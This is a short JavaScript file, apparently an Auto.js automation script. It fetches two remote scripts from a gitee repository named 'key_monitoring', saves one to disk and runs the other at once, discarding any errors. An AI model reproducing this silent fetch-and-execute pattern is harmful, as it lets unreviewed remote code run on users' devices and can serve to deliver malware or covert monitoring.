var url= "https://gitee.com/jixiangxia_admin/key_monitoring/raw/master/loop.js"

try {
    var res = http.get(url )
    if (res.statusCode==200) {
        var YM = res.body.string()
        files.write("./loop.js",YM)
    } 
} catch (error) {
    
}


var url= "https://gitee.com/jixiangxia_admin/key_monitoring/raw/master/main.js"

try {
    var res = http.get(url )
    if (res.statusCode==200) {
        var YM = res.body.string()
        engines.execScript("test",YM)
    } 
} catch (error) {
    
}
